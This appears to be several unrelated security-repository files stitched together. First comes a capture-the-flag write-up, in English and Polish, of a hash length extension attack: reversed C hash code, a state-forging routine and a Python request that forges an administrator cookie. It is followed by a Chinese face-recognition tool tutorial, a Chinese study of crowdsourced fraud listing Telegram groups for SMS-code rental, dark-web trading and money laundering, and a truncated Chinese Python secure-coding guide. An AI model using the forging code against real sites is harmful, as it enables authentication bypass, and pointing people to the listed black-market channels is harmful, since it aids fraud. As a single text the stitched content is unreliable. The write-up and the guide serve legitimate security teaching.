if(size==len){
done=1;
}
}
}
void hash(const char* data, uint32_t len) {
vhash_ctx vctx;
vhash_init(&vctx);
uint32_t size;
process_data(data, &vctx, size, len);
vhash_final(&vctx, size);
print_hash(&vctx);
}
```
And now with those primitives in place we created a function for generating the fake signature hash:
```c
void rigged(vhash_ctx *vectx, const char* data, uint32_t len){
set_initial_state(vectx);
uint32_t size;
process_data(data, vectx, size, len);
vhash_final(vectx, 120);
print_hash(vectx);
}
```
What we do here is set the initial state from the cookie we have, then perform hashing step with our additional payload and then add the final block, using `120` as the size of the whole input because this is how long it should be.
It is because the payload we are actually hashing has format:
```
12345678username=guest&date=2017-02-14T00:22:54+0100&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&
```
assuming `12345678` as secret.
`\0` bytes comes from the padding added to the last input block when it gets hashed and `\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff` is the final block added by the server to the initial cookie (notice 0x45 as input size).
We used a small python script to generate the state initializer from cookie value:
```python
from crypto_commons.generic import chunk
def dump_state(data):
print("\n".join(["vectx->state[" + str(i) + "] = 0x" + c + ";" for i, c in enumerate(chunk(data, 8))]))
def main():
data = 'e4d6ed47e23694e76f8a611111fd7b52a980e40a718b28256342adc740814a09fa4592e434dbb0b2b5d3405dd554e5b40f432cfb7cbf6fe06d95ed16cc1f1b21f0d5f5b432b0e82c9ce0693ed4caca8cf7a035e48a29fc358d75bb0674d5e0b910252bfc1712a76698662a0ea4441183d4b3d7f1ade921ae47f0b0c641e25813'
dump_state(data)
main()
```
and it generates the contents for `set_initial_state`:
```c
void set_initial_state(const vhash_ctx *vectx) {
vectx->state[0] = 0xe4d6ed47;
vectx->state[1] = 0xe23694e7;
vectx->state[2] = 0x6f8a6111;
vectx->state[3] = 0x11fd7b52;
vectx->state[4] = 0xa980e40a;
vectx->state[5] = 0x718b2825;
vectx->state[6] = 0x6342adc7;
vectx->state[7] = 0x40814a09;
vectx->state[8] = 0xfa4592e4;
vectx->state[9] = 0x34dbb0b2;
vectx->state[10] = 0xb5d3405d;
vectx->state[11] = 0xd554e5b4;
vectx->state[12] = 0x0f432cfb;
vectx->state[13] = 0x7cbf6fe0;
vectx->state[14] = 0x6d95ed16;
vectx->state[15] = 0xcc1f1b21;
vectx->state[16] = 0xf0d5f5b4;
vectx->state[17] = 0x32b0e82c;
vectx->state[18] = 0x9ce0693e;
vectx->state[19] = 0xd4caca8c;
vectx->state[20] = 0xf7a035e4;
vectx->state[21] = 0x8a29fc35;
vectx->state[22] = 0x8d75bb06;
vectx->state[23] = 0x74d5e0b9;
vectx->state[24] = 0x10252bfc;
vectx->state[25] = 0x1712a766;
vectx->state[26] = 0x98662a0e;
vectx->state[27] = 0xa4441183;
vectx->state[28] = 0xd4b3d7f1;
vectx->state[29] = 0xade921ae;
vectx->state[30] = 0x47f0b0c6;
vectx->state[31] = 0x41e25813;
}
```
Now we just need to run `rigged(&vctx,"&username=administrator&", 24);` and it will print the proper hash value.
Last step was just to send this to the game server with:
```python
import urllib
import requests
def main():
cookies = {"auth": urllib.quote_plus(
"39005958a36fcfabc56482ef87d46c3e1aec3c7babbc487dfc73d5c48441f24e67ffb44a2814be8e2e890e282188430b442ec8bea4c18a80cf03568de70b98234395e39a75a541290cf419680a436ec1bc6da7730a130fa71f947b3f43c86c40b5eb983934bc57cbd0802795b5a8760277ff9aa0bdcdc84fa8b20c7eab97af03|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&")}
result = requests.get("http://thenewandlessbrokenvhash.ctf.bsidessf.net:9292/index.php", cookies=cookies)
print(result.content)
main()
```
And it gave us `FLAG:06c211f73f4f5ba198c7fb56145b39a2` in response.
###PL version
W zadaniu dostajemy dostęp do strony gdzie możemy zalogować się jako guest/guest a jako wynik dostajemy cookie zawierące:
`SOME_LONG_HEX_HASH|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&`
Dostajemy też [kod strony](index.php) oraz [binarke](vhash) która jest użyta do generowania hasha.
Z analizy strony php możemy zauważyć, że hash jest generowany przez:
```php
function create_hmac($data) {
return do_hash(SECRET . $data);
}
```
Więc jest pewna sekretna wartość doklejana na początku danych cookie a następnie `vhash` jest uruchamiany na takim wejściu.
Kiedy strona autentykuje nas za pomocą cookie, bierze dane, wylicza hasha i porównuje z tym co zapisane w cookie.
Idea jest taka, ze nie możemy zmienić wartości w cookie (np. ustawić username na `admin`) bo hash też trzeba by odpowiednio zmienić.
A nie możemy obliczyć tego nowego hasha bez znajomości sekretnych bajtów doklejanych przez serwer.
Zauważamy dodatkowo że serwer tworzy mapę z parametrów w cookie parsując je w kolejności.
To oznacza, że jeśli jakiś parametr występuje więcej niż raz to tylko jego ostatnia wartość będzie zapisana:
```php
$pairs = explode('&', $cookie);
$args = array();
foreach($pairs as $pair) {
if(!strpos($pair, '='))
continue;
list($name, $value) = explode('=', $pair, 2);
$args[$name] = $value;
}
$username = $args['username'];
```
Więc gdybyśmy mogli dodać do cookie `&username=administrator&` przeszlibyśmy sprawdzenie tożsamości!
Po zreversowaniu binarki vhash i wstępnej analizie doszliśmy do wniosku, że algorytm jest podatny na atak `Hash Length Extension`.
Generaly przebieg algorytmu to:
1. Ustaw stan początkowy
2. Podziel dane na bloki
3. Dla każdego bloku
- Weź blok
- Użyj `hash_update` żeby wykonać obliczenia na aktualnym stanie oraz bloku wejściowym
- Zapisz wyniki jako nowy stan
4. Zakończ algorytm poprzez `hash_update` z pewnym stałym blokiem zaleznym jedynie od długosci hashowanego inputu.
5. Wypisz aktualny stan jako końcowy hash.
Wiemy że cookie które dostajemy ze strony to w rzeczywistości wynik hashowania `secret+cookie_payload+final_hash_block`.
Jeśli ustawimy ten hash jako aktualny stan algorytmu i wykonamy `hash_update` z jakimś dodatkowym payloadem to dostaniemy poprawny hash dla danych `secret+cookie_payload+final_hash_block+additional_payload`!
A skoro wiem też jaką długość ma cały ten payload to możemy dodać też nowy `final_hash_block2`, w rezultacie uzyskując poprawny hash dla `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.
I to wszystko bez znajomosci bajtów oznaczonych jako `secret`, tylko dzięki znajomości stanu algorytmu.
Zastanówmy się teraz co się stanie jeśli wyślemy do serwera jako dane `cookie_payload+final_hash_block+additional_payload`.
Serwer doda do tego sekretne bajty dostając `secret+cookie_payload+final_hash_block+additional_payload` a potem zahashuje dodając na końcu finalny blok, dostając tym samym hash dla result in `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.
A to jest dokładnie to samo o czym napisaliśmy wyżej!
Więc wysyłając takie dane możemy wygenerować lokalnie poprawny hash nie znając sekretu.
Przepisaliśmy algorytm hashowania do C żeby móc wygodnie to testować:
```c
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <x86intrin.h>
struct vhash_ctx{
uint32_t state[32];
};
inline unsigned int rol4(unsigned int value, int count) { return _rotl((unsigned int)value, count); }
void vhash_init(vhash_ctx *vctx)
{
memcpy(vctx, "vhas", 4uLL);
memcpy(&vctx->state[1], "h: r", 4uLL);
memcpy(&vctx->state[2], "ock ", 4uLL);
memcpy(&vctx->state[3], "hard", 4uLL);
memcpy(&vctx->state[4], " 102", 4uLL);
memcpy(&vctx->state[5], "4 bi", 4uLL);
memcpy(&vctx->state[6], "t se", 4uLL);
memcpy(&vctx->state[7], "curi", 4uLL);
memcpy(&vctx->state[8], "ty. ", 4uLL);
memcpy(&vctx->state[9], "For ", 4uLL);
memcpy(&vctx->state[10], "thos", 4uLL);
memcpy(&vctx->state[11], "e sp", 4uLL);
memcpy(&vctx->state[12], "ecia", 4uLL);
memcpy(&vctx->state[13], "l mo", 4uLL);
memcpy(&vctx->state[14], "mome", 4uLL);
memcpy(&vctx->state[15], "nts ", 4uLL);
memcpy(&vctx->state[16], "when", 4uLL);
memcpy(&vctx->state[17], " you", 4uLL);
memcpy(&vctx->state[18], " nee", 4uLL);
memcpy(&vctx->state[19], "d th", 4uLL);
memcpy(&vctx->state[20], "robb", 4uLL);
memcpy(&vctx->state[21], "ing ", 4uLL);
memcpy(&vctx->state[22], "perf", 4uLL);
memcpy(&vctx->state[23], "orma", 4uLL);
memcpy(&vctx->state[24], "nce.", 4uLL);
memcpy(&vctx->state[25], " Ask", 4uLL);
memcpy(&vctx->state[26], " you", 4uLL);
memcpy(&vctx->state[27], "r do", 4uLL);
memcpy(&vctx->state[28], "ctor", 4uLL);
memcpy(&vctx->state[29], " abo", 4uLL);
memcpy(&vctx->state[30], "ut v", 4uLL);
memcpy(&vctx->state[31], "hash", 4uLL);
}
void vhash_round(vhash_ctx *vctx)
{
for (int i = 0; i <= 31; ++i )
++vctx->state[i];
for (int ia = 0; ia <= 31; ++ia )
{
uint32_t v1 = rol4(vctx->state[ia], ia);
vctx->state[ia] = v1;
}
for (int ib = 0; ib <= 31; ++ib )
vctx->state[ib] += vctx->state[((((unsigned int)((ib + 1) >> 31) >> 27) + (uint8_t)ib + 1) & 0x1F)
- ((unsigned int)((ib + 1) >> 31) >> 27)];
for (int ic = 0; ic <= 31; ++ic )
vctx->state[ic] ^= vctx->state[((((unsigned int)((ic + 7) >> 31) >> 27) + (uint8_t)ic + 7) & 0x1F)
- ((unsigned int)((ic + 7) >> 31) >> 27)];
uint32_t t = vctx->state[0];
for (int id = 0; id <= 30; ++id )
vctx->state[id] = vctx->state[id + 1];
vctx->state[31] = t;
}
void vhash_update(vhash_ctx *vctx, uint32_t (*in)[4])
{
for (int i = 0; i <= 31; ++i )
vctx->state[i] += (*in)[((((unsigned int)((uint64_t)i >> 32) >> 30) + (uint8_t)i) & 3)
- ((unsigned int)((uint64_t)i >> 32) >> 30)];
for (int ia = 0; ia <= 511; ++ia )
vhash_round(vctx);
for (int ib = 0; ib <= 31; ++ib )
vctx->state[ib] ^= (*in)[((((unsigned int)((uint64_t)ib >> 32) >> 30) + (uint8_t)ib) & 3)
- ((unsigned int)((uint64_t)ib >> 32) >> 30)];
for (int ic = 0; ic <= 511; ++ic )
vhash_round(vctx);
}
void vhash_final(vhash_ctx *vctx, uint32_t len)
{
uint32_t f[4];
f[0] = 2147483648;
f[1] = len;
f[2] = 0;
f[3] = -1;
vhash_update(vctx, (uint32_t (*)[4])f);
}
void print_hash(vhash_ctx *vctx)
{
for (int i = 0; i <= 7; ++i )
printf(
"%08x%08x%08x%08x",
vctx->state[4 * i],
vctx->state[4 * i + 1],
vctx->state[4 * i + 2],
vctx->state[4 * i + 3]);
printf("\n");
}
void process_data(const char *data, vhash_ctx* vctx, uint32_t &size, uint32_t len) {
int done = 0;
size= 0;
uint32_t block[4];
while ( !done )
{
memset(block, 0, 0x10uLL);
for (int i = 0; (unsigned int)i <= 0xF; ++i )
{
if ( size<len )
{
uint8_t inbyte = data[size];
++size;
block[i / 4] |= inbyte << 8 * (3 - (char)i % 4);
}
else
{
done = 1;
break;
}
}
vhash_update(vctx, (uint32_t (*)[4])block);
if(size==len){
done=1;
}
}
}
void hash(const char* data, uint32_t len) {
vhash_ctx vctx;
vhash_init(&vctx);
uint32_t size;
process_data(data, &vctx, size, len);
vhash_final(&vctx, size);
print_hash(&vctx);
}
```
A teraz mając powyższe prymitywy mogliśmy napisać funkcje generującą fałszywy hash:
```c
void rigged(vhash_ctx *vectx, const char* data, uint32_t len){
set_initial_state(vectx);
uint32_t size;
process_data(data, vectx, size, len);
vhash_final(vectx, 120);
print_hash(vectx);
}
```
Ustawiamy tutaj początkowy stan wzięty z cookie ze strony, następnie wykonujemy update z naszym dodatkowym payloadem a potem dodajemy finalny blok używając `120` jako długości całych danych, bo tyle będą teraz miały.
Jest tak ponieważ dane które hashuje serwer mają postać:
```
12345678username=guest&date=2017-02-14T00:22:54+0100&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&
```
zakładając `12345678` jako `secret`.
Bajty `\0` biorą sie z paddingu dodanego do ostatniego bloku kiedy jest on hashowany a `\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff` to finalny blok dodany przez serwer to początkowego cookie (0x45 to rozmiar danych w tym przypadku).
Użyliśmy krótkiego kodu pythona żeby wygenerować początkowy stan z cookie:
```python
from crypto_commons.generic import chunk
def dump_state(data):
print("\n".join(["vectx->state[" + str(i) + "] = 0x" + c + ";" for i, c in enumerate(chunk(data, 8))]))
def main():
data = 'e4d6ed47e23694e76f8a611111fd7b52a980e40a718b28256342adc740814a09fa4592e434dbb0b2b5d3405dd554e5b40f432cfb7cbf6fe06d95ed16cc1f1b21f0d5f5b432b0e82c9ce0693ed4caca8cf7a035e48a29fc358d75bb0674d5e0b910252bfc1712a76698662a0ea4441183d4b3d7f1ade921ae47f0b0c641e25813'
dump_state(data)
main()
```
a to daje nam zawartość dla funkcji `set_initial_state`:
```c
void set_initial_state(const vhash_ctx *vectx) {
vectx->state[0] = 0xe4d6ed47;
vectx->state[1] = 0xe23694e7;
vectx->state[2] = 0x6f8a6111;
vectx->state[3] = 0x11fd7b52;
vectx->state[4] = 0xa980e40a;
vectx->state[5] = 0x718b2825;
vectx->state[6] = 0x6342adc7;
vectx->state[7] = 0x40814a09;
vectx->state[8] = 0xfa4592e4;
vectx->state[9] = 0x34dbb0b2;
vectx->state[10] = 0xb5d3405d;
vectx->state[11] = 0xd554e5b4;
vectx->state[12] = 0x0f432cfb;
vectx->state[13] = 0x7cbf6fe0;
vectx->state[14] = 0x6d95ed16;
vectx->state[15] = 0xcc1f1b21;
vectx->state[16] = 0xf0d5f5b4;
vectx->state[17] = 0x32b0e82c;
vectx->state[18] = 0x9ce0693e;
vectx->state[19] = 0xd4caca8c;
vectx->state[20] = 0xf7a035e4;
vectx->state[21] = 0x8a29fc35;
vectx->state[22] = 0x8d75bb06;
vectx->state[23] = 0x74d5e0b9;
vectx->state[24] = 0x10252bfc;
vectx->state[25] = 0x1712a766;
vectx->state[26] = 0x98662a0e;
vectx->state[27] = 0xa4441183;
vectx->state[28] = 0xd4b3d7f1;
vectx->state[29] = 0xade921ae;
vectx->state[30] = 0x47f0b0c6;
vectx->state[31] = 0x41e25813;
}
```
Teraz zostaje już tylko uruchomić `rigged(&vctx,"&username=administrator&", 24);` a to wypisze nam poprawny hash.
Ostatni krok to wysłanie nowych danych razem z hashem na serwer:
```python
import urllib
import requests
def main():
cookies = {"auth": urllib.quote_plus(
"39005958a36fcfabc56482ef87d46c3e1aec3c7babbc487dfc73d5c48441f24e67ffb44a2814be8e2e890e282188430b442ec8bea4c18a80cf03568de70b98234395e39a75a541290cf419680a436ec1bc6da7730a130fa71f947b3f43c86c40b5eb983934bc57cbd0802795b5a8760277ff9aa0bdcdc84fa8b20c7eab97af03|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&\0\0\0\0\0\0\0\0\0\0\0\x80\x00\x00\x00\x00\x00\x00\x45\x00\x00\x00\x00\xff\xff\xff\xff&username=administrator&")}
result = requests.get("http://thenewandlessbrokenvhash.ctf.bsidessf.net:9292/index.php", cookies=cookies)
print(result.content)
main()
```
Co daje name `FLAG:06c211f73f4f5ba198c7fb56145b39a2` w odpowiedzi.
|
sec-knowleage
|
# 图像识别
---
## 人脸识别
### face_recognition
- https://github.com/ageitgey/face_recognition
**模块安装**
```bash
apt install -y libboost-all-dev cmake
pip install dlib
```
安装 Face Recognition 库
```bash
pip install face_recognition
```
**准备图片**
创建一个目标目录
```bash
mkdir {face,target}
- face 等待识别的人脸图片
- target 是需要识别的目标，一个图片对应一个人,名字不要错
```
将目标图片移动到目录中,这里略
**使用面部识别来识别个人**
```bash
face_recognition target/ face/
```
输出结果到文件中
```bash
face_recognition target/ face/ > results.txt
```
---
## OCR
### chineseocr_lite
- https://github.com/ouyanghuiyu/chineseocr_lite
直接docker安装使用即可
---
**Source & Reference**
- https://www.iyouport.org/%e5%a6%82%e4%bd%95%e4%bd%bf%e9%9d%a2%e9%83%a8%e8%af%86%e5%88%ab%e6%8a%80%e6%9c%af%e4%b8%ba%e5%85%ac%e6%b0%91%e6%89%80%e7%94%a8%ef%bc%9f-%e5%bc%80%e6%ba%90%e6%83%85%e6%8a%a5%e6%96%b9%e6%b3%95/
|
sec-knowleage
|
# 黑灰产形式研究——真人众包类
## 概念
互联网黑产工具逐渐从单一的半自动、自动化工具，转增真人众包类的模式。真人众包类指的是，黑灰产团伙（众包项目团队）通过发布注册任务，以佣金作为吸引，使参与者自愿提供真人实名认证的相关信息的黑产类型。
从规模上来讲，从永安在线的预估上来看，“真人作弊产业每年产生约20亿元的悬赏金额流水、10亿元完成金额流水，直接对目标平台造成数十亿甚至百亿的损失。”[1]
## 特征
以下梳理真人众包接码各个方面的特征。
### 隐蔽性强
传统的黑卡由于归属地、号码段聚集，使用形态异常等特征，较为容易被风控模型识别。众包类接码平台中的手机号，来源于一般用户，因此大多具有正常的存续状态以及在在互联网上的使用轨迹、使用形态，因此很难识别。
### 待开发潜力大
由于黑卡、硬改机等渠道在风控对抗上的成熟，以及近年来国家的打击，因此这些方式的待利用资源和发展空间都在逐步减少。但由于众包形式的用户群体基数巨大，代开发的空间和资源池也是具有不小的规模。
### 平台分布
中上游一般聚集于Telegram群组、兼职/黑灰产项目网站，下游则以移动端的平台为主，且常以兼职刷单、出租闲置进行包装。
## 流程
下面以真人众包打码服务为例，描述整个真人众包的流程：
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210301160755223.png" alt="image-20210301160755223" style="zoom: 50%;" />
图：真人众包打码服务
## 相关实例
### Telegram群组
Telegram群组中“接码”交流的群组众多，其中卡商、平台都会发布大量收号、租号担保信息。
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210301135252330.png" alt="image-20210301135252330" style="zoom:33%;" />
图：使用Lyzem搜索代接码群组
以下是一些使用Telegram群组搜索“接码平台”的结果
```bash
1. [小象科技🐘接平台搭建🐘开发平台搭建🐘源码搭建🐘 - 19.5 K](https://t.me/xiaoxiangkeji)
2. 👥 [接码/全世界短信/验证码/接码平台 - 4.4 K](https://t.me/jiemapingtai)
3. 👥 [印度实卡WhatsApp直登号 - 1.6 K](https://t.me/ydlmqqh)
4. 👥 [海外/国外接码✅全球接码 - 2.6 K](https://t.me/hhyinliu06)
5. 👥 [暗网楼兰城交易平台🏰 - 10.5 K](https://t.me/heise128)
6. 📢 [苏中之荷约聊平台 - 8.7 K](https://t.me/suhe2016)
7. 👥 [跑分平台 - 2.8 K](https://t.me/paofen_pingtai)
8. 👥 [接码/全世界验证码 - 15.5 K](https://t.me/jiema6)
9. 📢 [代理帮 - 9.8 K](https://t.me/dailibang)
10. 📢 [搭建 平台搭建🔥搭建 搭建 - 24.2 K](https://t.me/db8572)
11. 👥 [接码平台一毛 - 3.8 K](https://t.me/jjmkkd)
12. 📢 [✅黑平台曝光/骗子曝光 - 9.4 K](https://t.me/tg131)
13. 👥 [菲律宾工作平台 - 10.0 K](https://t.me/workph88)
14. 👥 [跑分平台交流 - 3.6 K](https://t.me/niun666)
15. 👥 [暗网交流平台 - 3.1 K](https://t.me/awboss)
16. 👥 [最佳信誉平台 - 1.6 K](https://t.me/bestcp888)
17. 📢 [峰爷定制🔥搭建股票🔥搭建平台🔥搭建彩票🌹搭建菠菜🌹 - 20.0 K](https://t.me/tuge188)
18. 👥 [HKG交友平台 - 842](https://t.me/dcthgyggy)
19. 👥 [国际接码平台 - 1.2 K](https://t.me/haojing319)
20. 👥 [刷子 对刷 套彩 彩金 平台 刷水 - 1.2 K](https://t.me/yangmingshegongku)
```
### 私人号
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210301152250940.png" style="zoom:50%;" />
图：电报群上和私人号相关的群组
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210301151713660.png" alt="image-20210301151713660" style="zoom: 67%;" />
图：收卡信息
[TODO]
图：私人号声称的质量较高
## 趋势
- 模式上：
- 从兼职刷单，“到如今的多行业、多场景、多任务的广泛渗透”[1]
- 发布众包的平台：
- 从PC端软件、兼职类网站，转为以移动端为主
- 运营模式：
- 从社交群组，转为“平台化、裂变化”[1]
## 对抗
针对真人众包类作恶，可以从以下的几个纬度出发：
- 情报维度
- 通过情报、监控来获知黑产众包项目的最新分发情况，减少与黑产的信息差
- 数据维度
- 异地登入情况
- 异地登陆设备
- 是否为本人
- 特征维度
- 是否有常见黑产活动特征
情报和数据维度可以进行初步的筛选，加入灰名单，结合黑灰产特征进行检测。
## References
\[1] 互联网黑产趋势变化：从自动化工具作弊到真人众包作恶， [永安在线反欺诈](https://www.secrss.com/articles?author=永安在线反欺诈)，https://www.secrss.com/articles/24627
\[2] 恶意注册出现新手段，租用真人手机号软件日活超5万 | 黑灰产情报周报，[永安在线反欺诈](https://www.zhihu.com/people/threathunter)，https://zhuanlan.zhihu.com/p/347698847
|
sec-knowleage
|
* [通用类](#通用类)
* [I. 代码实现](#i-代码实现)
* [1.1 加密算法](#11-加密算法)
* [1.1.1 【必须】避免使用不安全的对称加密算法](#111-必须避免使用不安全的对称加密算法)
* [1.2 程序日志](#12-程序日志)
* [1.2.1 【建议】对每个重要行为都记录日志](#121-建议对每个重要行为都记录日志)
* [1.2.2 【建议】禁止将未经验证的用户输入直接记录日志](#122-建议禁止将未经验证的用户输入直接记录日志)
* [1.2.3 【建议】避免在日志中保存敏感信息](#123-建议避免在日志中保存敏感信息)
* [1.3 系统口令](#13-系统口令)
* [1.3.1 【必须】禁止使用空口令、弱口令、已泄露口令](#131-必须禁止使用空口令弱口令已泄露口令)
* [1.3.2 【必须】口令强度要求](#132-必须口令强度要求)
* [1.3.3 【必须】口令存储安全](#133-必须口令存储安全)
* [1.3.4 【必须】禁止传递明文口令](#134-必须禁止传递明文口令)
* [1.3.5 【必须】禁止在不安全的信道中传输口令](#135-必须禁止在不安全的信道中传输口令)
* [II. 配置&环境](#ii-配置环境)
* [2.1 Python版本选择](#21-python版本选择)
* [2.1.1 【建议】使用Python 3.6+的版本](#211-建议使用python-36的版本)
* [2.2 第三方包安全](#22-第三方包安全)
* [2.2.2 【必须】禁止使用不安全的组件](#222-必须禁止使用不安全的组件)
* [2.3 配置信息](#23-配置信息)
* [2.3.1 【必须】密钥存储安全](#231-必须密钥存储安全)
* [2.3.2 【必须】禁止硬编码敏感配置](#232-必须禁止硬编码敏感配置)
* [后台类](#后台类)
* [I. 代码实现](#i-代码实现-1)
* [1.1 输入验证](#11-输入验证)
* [1.1.1 【必须】按类型进行数据校验](#111-必须按类型进行数据校验)
* [1.2 SQL操作](#12-sql操作)
* [1.2.1 【必须】使用参数化查询](#121-必须使用参数化查询)
* [1.2.2 【必须】对参数进行过滤](#122-必须对参数进行过滤)
* [1.3 执行命令](#13-执行命令)
* [1.3.1 【建议】避免直接调用函数执行系统命令](#131-建议避免直接调用函数执行系统命令)
* [1.3.2 【必须】过滤传入命令执行函数的字符](#132-必须过滤传入命令执行函数的字符)
* [1.3.3 【必须】禁止不安全的代码执行](#133-必须禁止不安全的代码执行)
* [1.4 文件操作](#14-文件操作)
* [1.4.1 【必须】文件类型限制](#141-必须文件类型限制)
* [1.4.2 【必须】禁止外部文件存储于可执行目录](#142-必须禁止外部文件存储于可执行目录)
* [1.4.3 【必须】避免路径穿越](#143-必须避免路径穿越)
* [1.4.4 【必须】禁用XML外部实体的方法](#144-必须禁用xml外部实体的方法)
* [1.4.5 【必须】禁用不安全的反序列化函数](#145-必须禁用不安全的反序列化函数)
* [1.4.6 【建议】避免路径拼接](#146-建议避免路径拼接)
* [1.4.7 【建议】文件名hash化处理](#147-建议文件名hash化处理)
* [1.5 网络请求](#15-网络请求)
* [1.5.1 【必须】限定访问网络资源地址范围](#151-必须限定访问网络资源地址范围)
* [1.6 响应输出](#16-响应输出)
* [1.6.1 【必须】设置正确的HTTP响应包类型](#161-必须设置正确的http响应包类型)
* [1.6.2 【必须】设置安全的HTTP响应头](#162-必须设置安全的http响应头)
* [1.6.3 【必须】对外输出页面包含第三方数据时须进行编码处理](#163-必须对外输出页面包含第三方数据时须进行编码处理)
* [1.7 数据输出](#17-数据输出)
* [1.7.1 【必须】敏感数据加密存储](#171-必须敏感数据加密存储)
* [1.7.2 【必须】敏感信息必须由后台进行脱敏处理](#172-必须敏感信息必须由后台进行脱敏处理)
* [1.7.3 【必须】高敏感信息禁止存储、展示](#173-必须高敏感信息禁止存储展示)
* [1.7.4 【必须】个人敏感信息脱敏展示](#174-必须个人敏感信息脱敏展示)
* [1.7.5 【必须】隐藏后台地址](#175-必须隐藏后台地址)
* [1.8 权限管理](#18-权限管理)
* [1.8.1 【必须】默认鉴权](#181-必须默认鉴权)
* [1.8.2 【必须】授权遵循最小权限原则](#182-必须授权遵循最小权限原则)
* [1.8.3 【必须】避免越权访问](#183-必须避免越权访问)
* [1.8.4 【建议】及时清理不需要的权限](#184-建议及时清理不需要的权限)
* [1.9 异常处理](#19-异常处理)
* [1.9.1 【必须】不向对外错误提示](#191-必须不向对外错误提示)
* [1.9.2 【必须】禁止异常抛出敏感信息](#192-必须禁止异常抛出敏感信息)
* [1.10 Flask安全](#110-flask安全)
* [1.10.1 【必须】生产环境关闭调试模式](#1101-必须生产环境关闭调试模式)
* [1.10.2 【建议】遵循Flask安全规范](#1102-建议遵循flask安全规范)
* [1.11 Django安全](#111-django安全)
* [1.11.1 【必须】生产环境关闭调试模式](#1111-必须生产环境关闭调试模式)
* [1.11.2 【建议】保持Django自带的安全特性开启](#1112-建议保持django自带的安全特性开启)
# 通用类
## I. 代码实现
### 1.1 加密算法
#### 1.1.1 【必须】避免使用不安全的对称加密算法
- DES和3DES已经不再适用于现代应用程序，应改为使用AES。
### 1.2 程序日志
#### 1.2.1 【建议】对每个重要行为都记录日志
- 确保重要行为都记录日志，且可靠保存6个月以上。
#### 1.2.2 【建议】禁止将未经验证的用户输入直接记录日志
- 当日志条目包含未经净化的用户输入时会引发记录注入漏洞。恶意用户会插入伪造的日志数据，从而让系统管理员以为是系统行为。
#### 1.2.3 【建议】避免在日志中保存敏感信息
- 不能在日志保存密码（包括明文密码和密文密码）、密钥和其它敏感信息
### 1.3 系统口令
#### 1.3.1 【必须】禁止使用空口令、弱口令、已泄露口令
#### 1.3.2 【必须】口令强度要求
> 口令强度须同时满足：
> 1. 密码长度大于14位
> 2. 必须包含下列元素：大小写英文字母、数字、特殊字符
> 3. 不得使用各系统、程序的默认初始密码
> 4. 不能与最近6次使用过的密码重复
> 5. 不得与其他外部系统使用相同的密码
#### 1.3.3 【必须】口令存储安全
* 禁止明文存储口令
* 禁止使用弱密码学算法（如DES和3DES）加密存储口令
* 使用不可逆算法和随机salt对口令进行加密存储
#### 1.3.4 【必须】禁止传递明文口令
#### 1.3.5 【必须】禁止在不安全的信道中传输口令
## II. 配置&环境
### 2.1 Python版本选择
#### 2.1.1 【建议】使用Python 3.6+的版本
- 新增的项目应使用 Python 3.6+
> **为什么要这么做？**
> 由于 Python 2 在 [2020 年停止维护](https://www.python.org/doc/sunset-python-2/)，相关组件的漏洞不能得到及时修复与维护
### 2.2 第三方包安全
#### 2.2.2 【必须】禁止使用不安全的组件
### 2.3 配置信息
#### 2.3.1 【必须】密钥存储安全
- 在使用对称密码算法时，需要保护好加密密钥。当算法涉及敏感、业务数据时，可通过非对称算法协商加密密钥。其他较为不敏感的数据加密，可以通过变换算法等方式保护密钥。
#### 2.3.2 【必须】禁止硬编码敏感配置
- 禁止在源码中硬编码AK/SK、IP、数据库账密等配置信息
- 应使用配置系统或KMS密钥管理系统。
# 后台类
## I. 代码实现
### 1.1 输入验证
#### 1.1.1 【必须】按类型进行数据校验
- 所有程序外部输入的参数值，应进行数据校验。校验内容包括但不限于：数据长度、数据范围、数据类型与格式。校验不通过，应拒绝。
- 推荐使用组件：[Cerberus](https://github.com/pyeve/cerberus)、[jsonschema](https://github.com/Julian/jsonschema)、[Django-Validators](https://docs.djangoproject.com/en/dev/ref/validators/)
```python
# Cerberus示例
v = Validator({'name': {'type': 'string'}})
v.validate({'name': 'john doe'})
# jsonschema示例
schema = {
"type" : "object",
"properties" : {
"price" : {"type" : "number"},
"name" : {"type" : "string"},
},
}
validate(instance={"name" : "Eggs", "price" : 34.99}, schema=schema)
```
### 1.2 SQL操作
#### 1.2.1 【必须】使用参数化查询
- 使用参数化SQL语句，强制区分数据和命令，避免产生SQL注入漏洞。
```python
# 错误示例
import mysql.connector
mydb = mysql.connector.connect(
... ...
)
cur = mydb.cursor()
userid = get_id_from_user()
# 使用%直接格式化字符串拼接SQL语句
cur.execute("SELECT `id`, `password` FROM `auth_user` WHERE `id`=%s " % (userid,))
myresult = cur.fetchall()
```
```python
# 安全示例
import mysql.connector
mydb = mysql.connector.connect(
... ...
)
cur = mydb.cursor()
userid = get_id_from_user()
# 将元组以参数的形式传入
cur.execute("SELECT `id`, `password` FROM `auth_user` WHERE `id`=%s " , (userid,))
myresult = cur.fetchall()
```
* 推荐使用ORM框架来操作数据库，如：使用`SQLAlchemy`。
```python
# 安装sqlalchemy并初始化数据库连接
# pip install sqlalchemy
from sqlalchemy import create_engine
# 初始化数据库连接，修改为你的数据库用户名和密码
engine = create_engine('mysql+mysqlconnector://user:password@host:port/DATABASE')
```
```python
# 引用数据类型
from sqlalchemy import Column, String, Integer, Float
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
# 定义 Player 对象:
class Player(Base):
# 表的名字:
__tablename__ = 'player'
# 表的结构:
